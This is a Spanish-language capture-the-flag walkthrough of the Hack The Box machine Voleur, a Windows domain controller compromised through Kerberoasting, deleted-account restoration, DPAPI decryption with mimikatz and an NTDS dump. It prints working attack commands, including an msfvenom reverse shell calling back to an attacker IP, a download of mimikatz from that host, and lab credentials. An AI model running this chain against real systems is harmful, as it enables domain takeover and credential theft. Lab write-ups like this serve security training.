Descripción

Voleur es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Acceso inicial mediante un escenario de supuesta brecha que conduce a la enumeración del dominio. Este dominio solo permite autenticación Kerberos
  • Descubrimiento de carpetas compartidas en red SMB lo cual lleva a la enumeración de un archivo con credenciales de cuentas de servicio y una cuenta eliminada
  • Una de las cuentas filtradas permite un ataque Kerberoast dirigido a otra cuenta de servicio permitiendo crear sesiones remotas al sistema
  • La cuenta eliminada se puede recuperar conteniendo un respaldo de credenciales cifradas utilizando DPAPI cuya recuperación permite el pivote del usuario
  • El usuario pivotado contiene la clave SSH privada de la cuenta de servicio de copias de seguridad
  • La cuenta de servicio de copias de seguridad mantiene el respaldo de base de datos de usuarios de Active Directory conteniendo todas las credenciales
  • Escalada de privilegios mediante el volcado de secretos de la base de datos de usuarios de Active Directory (claves Kerberos)

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.250.126.

$ ping -c 3 10.129.250.126
PING 10.129.250.126 (10.129.250.126) 56(84) bytes of data.
64 bytes from 10.129.250.126: icmp_seq=1 ttl=127 time=48.2 ms
64 bytes from 10.129.250.126: icmp_seq=2 ttl=127 time=51.2 ms
64 bytes from 10.129.250.126: icmp_seq=3 ttl=127 time=48.0 ms

--- 10.129.250.126 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 48.028/49.139/51.229/1.478 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.250.126 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.250.126
Host is up (0.048s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 20.04 seconds

Obtenemos muchos puertos abiertos, tal vez relacionados con un entorno Active Directory.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.250.126 -Pn -sV -sC -p53,88,135,139,445,464,593,636,2222 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.250.126
Host is up (0.049s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
Service Info: OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|_  start_date: N/A
|_clock-skew: 7h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.12 seconds

Obtenemos los servicios relacionados con un Directorio Activo, específicamente el Controlador de Dominio voleur.htb. También encontramos un puerto SSH abierto (2222). Inferimos que el nombre del host es DC.voleur.htb. Agregamos las direcciones a nuestro archivo local /etc/hosts.

$ echo "10.129.250.126 voleur.htb" | sudo tee -a /etc/hosts
$ echo "10.129.250.126 DC.voleur.htb" | sudo tee -a /etc/hosts

Antes de continuar necesitamos sincronizar nuestro reloj del sistema con el reloj del Controlador de Dominio. Pondremos fin a la synchronización con el servidor de NTP por defecto.

$ sudo timedatectl set-ntp off
$ sudo rdate -n voleur.htb

Comenzamos agregando el KDC al realm en el archivo /etc/krb5.conf (con el siguiente contenido).

[realms]
VOLEUR.HTB = {
 kdc = "dc.voleur.htb"
}

Tenemos las credenciales del usuario ryan.naylor, HollowOct31Nyt, como una supuesta brecha, por lo que vamos a empezar enumerando el dominio.

$ bloodhound-python -d voleur.htb -dc DC.voleur.htb -ns 10.129.250.126 -u 'ryan.naylor' -p 'HollowOct31Nyt' --zip -c All

Después de eso nos movemos a la enumeración de usuarios y recursos compartidos del dominio.

$ netexec smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' --users --shares                          
SMB         10.129.250.126  445    10.129.250.126   [*]  x64 (name:10.129.250.126) (domain:10.129.250.126) (signing:True) (SMBv1:False)
SMB         10.129.250.126  445    10.129.250.126   [-] 10.129.250.126\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

Encontramos el error STATUS_NOT_SUPPORTED, lo que significa que el servidor no admite la autenticación NTLM habitual por lo que necesitaremos utilizar autenticación Kerberos en los siguientes comandos.

$ netexec smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --users --shares
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance                         
SMB         DC.voleur.htb   445    DC               HR                              
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ            
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share 
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share 
SMB         DC.voleur.htb   445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-                              
SMB         DC.voleur.htb   445    DC               Administrator                 2025-01-28 20:35:13 0       Built-in account for administering the computer/domain
SMB         DC.voleur.htb   445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         DC.voleur.htb   445    DC               krbtgt                        2025-01-29 08:43:06 0       Key Distribution Center Service Account 
SMB         DC.voleur.htb   445    DC               ryan.naylor                   2025-01-29 09:26:46 0       First-Line Support Technician 
SMB         DC.voleur.htb   445    DC               marie.bryant                  2025-01-29 09:21:07 0       First-Line Support Technician 
SMB         DC.voleur.htb   445    DC               lacey.miller                  2025-01-29 09:20:10 0       Second-Line Support Technician 
SMB         DC.voleur.htb   445    DC               svc_ldap                      2025-01-29 09:20:54 0        
SMB         DC.voleur.htb   445    DC               svc_backup                    2025-01-29 09:20:36 0        
SMB         DC.voleur.htb   445    DC               svc_iis                       2025-01-29 09:20:45 0        
SMB         DC.voleur.htb   445    DC               jeremy.combs                  2025-01-29 15:10:32 0       Third-Line Support Technician 
SMB         DC.voleur.htb   445    DC               svc_winrm                     2025-01-31 09:10:12 0        
SMB         DC.voleur.htb   445    DC               [*] Enumerated 11 local users: VOLEUR

Encontramos que tenemos acceso a la carpeta compartida IT y que poseemos los usuarios no estándar ryan.naylor, marie.bryant, lacey.miller, svc_ldap, svc_backup, svc_iis, jeremy.combs y svc_winrm. Como no podemos utilizar la herramienta smbclient debido a la autenticación Kerberos, utilizaremos la herramienta netexec con el módulo spider_plus para descargar los contenidos de la carpeta compartida IT en el directorio actual.

$ mkdir it_share
$ cd it_share
$ netexec smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k -M spider_plus -o OUTPUT_FOLDER=. DOWNLOAD_FLAG=True

Exploramos los archivos descargados correspondientes a la carpeta First-Line Support.

$ find                                                                        .
./DC.voleur.htb
./DC.voleur.htb/IT
./DC.voleur.htb/IT/First-Line Support
./DC.voleur.htb/IT/First-Line Support/Access_Review.xlsx
./DC.voleur.htb.json

Encontramos un archivo de hoja de cálculo llamado Access_Review.xlsx dentro de la carpeta First-Line Support. Dado que está cifrado, exportaremos el hash y lo recuperaremos utilizando la herramienta John The Ripper para recuperar su contraseña.

$ office2john ./DC.voleur.htb/IT/First-Line Support/Access_Review.xlsx > Access_Review.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt Access_Review.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1        (Access_Review.xlsx)     
1g 0:00:00:01 DONE 0.7751g/s 694.5p/s 694.5c/s 694.5C/s football1..ilovegod
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

La contraseña para el archivo de hoja de cálculo es football1. Después de abrir el archivo, encontramos las cuentas que recuperamos anteriormente y una eliminada llamada todd.wolfe con su última contraseña NightT1meP1dg3on14. También encontramos la contraseña para la cuenta de servicio svc_ldap, M1XyC9pW7qT5Vn y para la cuenta de servicio svc_iis, N5pXyW1VqM7CZ8. También encontramos que la cuenta de servicio svc_backup es administrada por el usuario jeremy.combs. Ahora vamos a pasar a analizar el registro del dominio que realizamos anteriormente con bloodhound.

Explotación

Encontramos que la cuenta de servicio svc_ldap forma parte del grupo Restore_Users que tiene permiso GenericWrite sobre la GPO Second-Line Support Technicians y también tiene permiso WriteSPN (Service Principal Name) sobre la cuenta de servicio svc_winrm. Esto significa que podemos ejecutar un ataque objetivo de Kerberoast a la cuenta de servicio svc_winrm, recuperar el hash del Kerberos para descifrarlo y recuperar la contraseña. Debemos especificar la opción --dc-host con el nombre de host del Controlador de Dominio DC.voleur.htb ya que estamos realizando autenticación Kerberos.

$ wget https://github.com/ShutdownRepo/targetedKerberoast/raw/refs/heads/main/targetedKerberoast.py
$ python targetedKerberoast.py -d 'voleur.htb' --dc-host DC.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k -o kerberos_hashes       
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Writing hash to file for (lacey.miller)
[+] Writing hash to file for (svc_winrm)

Obtenemos los hashes para los usuarios lacey.miller y svc_winrm. Podemos recuperar la contraseña para el usuario svc_winrm, que es AFireInsidedeOzarctica980219afi.

$ john --wordlist=/usr/share/wordlists/rockyou.txt kerberos_hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (svc_winrm)     
1g 0:00:00:04 DONE 0.2070g/s 2969Kp/s 5345Kc/s 5345KC/s !SkicA!..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Como vimos en la hoja de cálculo que este es un usuario para gestión remota, podemos acceder al sistema y crear una sesión remota utilizando esta cuenta. Dado que necesitamos un TGT, generaremos uno y asignaremos la variable KRB5CCNAME.

$ impacket-getTGT voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi
$ export KRB5CCNAME=./svc_winrm.ccache
$ evil-winrm -i DC.voleur.htb -r VOLEUR.HTB                                                                 
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> whoami
voleur\svc_winrm

Fue posible crear una sesión remota con el usuario svc_winrm.

Post-Explotación

Hemos iniciado sesión como el usuario svc_winrm. Vamos a crear un binario con una consola inversa con msfvenom, y utilizar la herramienta RunasCs para ejecutar una sesión inversa con la cuenta de servicio svc_ldap ya que tenemos las credenciales. Empezaremos creando el binario y abrimos la escucha en un puerto TCP.

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f exe > rshell.exe
$ nc -nvlp 4444

Luego descargamos la herramienta RunasCs.

$ wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
$ unzip RunasCs.zip

Luego regresamos al máquina para crear una carpeta temporal, descargamos los binarios y los ejecutamos.

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> mkdir c:\temp
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> cd c:\temp
*Evil-WinRM* PS C:\temp> upload RunasCs.exe
*Evil-WinRM* PS C:\temp> upload shell.exe
*Evil-WinRM* PS C:\temp> .\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell C:\temp\shell.exe"

Obtenemos la sesión inversa, abrimos una ventana de PowerShell.

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.250.126] 52542
Microsoft Windows [Version 10.0.20348.3807]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
voleur\svc_ldap

Dado que este es el usuario de servicio para LDAP, vamos a buscar objetos eliminados del Directorio Activo. Es posible recuperar los elementos AD eliminados si la opción Recycle Bin está habilitada. Vamos a especificar la opción -IncludeDeletedObjects y el filtro 'isDeleted -eq $true' para mostrar solo los objetos eliminados.

PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects

Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8

Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe
                    DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
ObjectGUID        : 1c6b1deb-c372-4cbb-87b1-15031de169db

Encontramos la cuenta anteriormente eliminada de Todd Wolfe. La restauramos utilizando la herramienta Restore-ADObject especificando el GUID mediante el parámetro -Identity.

PS C:\Windows\system32> Restore-ADObject -Identity "1c6b1deb-c372-4cbb-87b1-15031de169db"

Verificamos que la cuenta está activa utilizando la herramienta netexec.

$ netexec smb DC.voleur.htb -u Todd.Wolfe -p 'NightT1meP1dg3on14' -k
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\Todd.Wolfe:NightT1meP1dg3on14

Repetimos el proceso anterior para descargar los contenidos de la carpeta compartida IT.

$ mkdir it_share2
$ cd it_share2
$ find
.
...
./DC.voleur.htb/IT/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft
./DC.voleur.htb/IT/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials
./DC.voleur.htb/IT/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3
...

Encontramos que ahora estamos descargando la carpeta compartida Second-Line Support. En este caso, los contenidos de la carpeta archivada del usuario todd.wolfe son descargados. Encontramos un archivo interesante llamado .../todd.wolfe/AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3. Este corresponde a credenciales cifradas con DPAPI que podrían estar almacenadas en el sistema y que pueden contener las credenciales de otro usuario. Regresando al máquina encontramos que la carpeta compartida IT está localizada en la carpeta C:\IT.

PS C:\Windows\system32> dir C:\IT
dir C:\IT
    Directory: C:\IT
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/29/2025   1:40 AM                First-Line Support
d-----         1/29/2025   7:13 AM                Second-Line Support
d-----         1/30/2025   8:11 AM                Third-Line Support

Ahora vamos a ejecutar una sesión inversa para el usuario todd.wolfe repitiendo el proceso anterior.

*Evil-WinRM* PS C:\temp> .\RunasCs.exe Todd.Wolfe NightT1meP1dg3on14 "powershell C:\temp\rshell.exe"

Luego tenemos la sesión.

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.250.126] 54140
Microsoft Windows [Version 10.0.20348.3807]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
voleur\todd.wolfe

Nos movemos a la carpeta C:\Temp. Encontramos el archivo de credenciales C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3 y la llave maestra DPAPI cifrada C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88 con el SID S-1-5-21-3927696377-1337352550-2781715495-1110. Utilizamos la herramienta mimikatz para recuperar la llave maestra DPAPI y recuperar las credenciales almacenadas.

PS C:\Windows\system32> cd c:\temp
PS C:\temp> copy "C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3" .
PS C:\temp> copy "C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88" .
PS C:\temp> IWR http://10.10.14.34/mimikatz.exe -outfile mimikatz.exe
C:\temp\mimikatz.exe "dpapi::masterkey /in:C:\temp\08949382-134f-4c63-b93c-ce52efc0aa88 /sid:S-1-5-21-3927696377-1337352550-2781715495-1110 /password:NightT1meP1dg3on14 /protected" "exit"
...
[masterkey] with password: NightT1meP1dg3on14 (protected user)
  key : d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
  sha1: 7417f03ca0d4d557935d96b3f1341bdbbcdbd907

La llave maestra recuperada es d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83. La utilizamos para descifrar el archivo de credenciales.

PS C:\temp> C:\temp\mimikatz0.exe "dpapi::cred /in:C:\temp\772275FAD58525253490A9B0039791D3 /masterkey:d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83" "exit"
C:\temp\mimikatz0.exe "dpapi::cred /in:C:\temp\772275FAD58525253490A9B0039791D3 /masterkey:d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83" "exit"

...

Decrypting Credential:
 * masterkey     : d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000b8 - 184
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 1/29/2025 12:55:19 PM
  unkFlagsOrSize : 00000020 - 32
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=Jezzas_Account
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : jeremy.combs
  CredentialBlob : qT3V9pLXyN7W4m
  Attributes     : 0

mimikatz(commandline) # exit
Bye!

Encontramos que la credencial almacenada es para el usuario jeremy.combs con la contraseña qT3V9pLXyN7W4m. Podemos crear una sesión con evil-winrm tal como lo hicimos anteriormente. Somos parte del grupo Third-Line Technician.

$ impacket-getTGT voleur.htb/jeremy.combs:qT3V9pLXyN7W4m
$ export KRB5CCNAME=./jeremy.combs.ccache
$ evil-winrm -i DC.voleur.htb -r VOLEUR.HTB
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami
voleur\jeremy.combs
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> net user jeremy.combs
User name                    jeremy.combs
Full Name                    Jeremy Combs
Comment                      Third-Line Support Technician
...
Local Group Memberships      *Remote Management Use
Global Group memberships     *Third-Line Technician*Domain Users
The command completed successfully.

Tenemos acceso a la carpeta C:\IT\Third-Line Support.

*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> cd "C:\IT\Third-Line Support"
*Evil-WinRM* PS C:\IT\Third-Line Support> dir


    Directory: C:\IT\Third-Line Support


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/30/2025   8:11 AM                Backups
-a----         1/30/2025   8:10 AM           2602 id_rsa
-a----         1/30/2025   8:07 AM            186 Note.txt.txt

Encontramos un nota en el archivo Note.txt.txt.

*Evil-WinRM* PS C:\IT\Third-Line Support> type Note.txt.txt
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin

Parece que una instancia de Windows Subsystem for Linux (WSL) se creó para la copia de seguridad de Windows. En esta carpeta también tenemos un clave SSH privada id_rsa. Dado que esto podría estar relacionado con la cuenta descubierta svc_backup y el puerto abierto 2222, vamos a descargar el archivo id_rsa.

*Evil-WinRM* PS C:\IT\Third-Line Support> download id_rsa

Después de eso, intentamos iniciar sesión utilizando SSH.

$ chmod 600 id_rsa
$ ssh svc_backup@voleur.htb -p 2222 -i id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)

...
svc_backup@DC:~$ whoami
svc_backup

Podemos iniciar sesión en una instancia de WSL. En la WSL, el disco duro físico C se monta en la carpeta /mnt/c. Encontramos que podemos enumerar los archivos del directorio /mnt/c/IT/Third-Line Support/Backups.

svc_backup@DC:~$ find "/mnt/c/IT/Third-Line Support/Backups"
/mnt/c/IT/Third-Line Support/Backups
/mnt/c/IT/Third-Line Support/Backups/Active Directory
/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit
/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.jfm
/mnt/c/IT/Third-Line Support/Backups/registry
/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY
/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM

Encontramos que tenemos una copia de la base de datos del usuario de Directorio Activo. Vamos a descargarla utilizando la herramienta scp.

$ scp -r -P 2222 -i id_rsa svc_backup@voleur.htb:"/mnt/c/IT/Third-Line Support/" .

Utilizando la herramienta impacket-secretsdump, podremos imprimir las llaves de Kerberos de los usuarios del dominio, incluyendo al usuario Administrator.

$ cd 'Third-Line Support/Backups'
$ impacket-secretsdump -system registry/SYSTEM -security registry/SECURITY -ntds "Active Directory/ntds.dit" local
...
[*] Kerberos keys from Active Directory/ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
Administrator:des-cbc-md5:459d836b9edcd6b0
...

Encontramos que la llave AES256 de Kerberos para el usuario Administrator es f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb. La utilizamos para crear un TGT y para iniciar sesión en la máquina.

$ impacket-getTGT -aesKey f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb voleur.htb/Administrator
$ export KRB5CCNAME=./Administrator.ccache
$ evil-winrm -i DC.voleur.htb -r VOLEUR.HTB
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
voleur\administrator

Ejecutamos una consola de comandos como el usuario Administrador.

Flags

En la consola del usuario Administrador, podemos imprimir las flags user.txt y root.txt.

*Evil-WinRM* PS C:\Users\Administrator\Documents> type "C:\Users\svc_winrm\Desktop\user.txt"
<REDACTED>
*Evil-WinRM* PS C:\Users\Administrator\Documents> type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>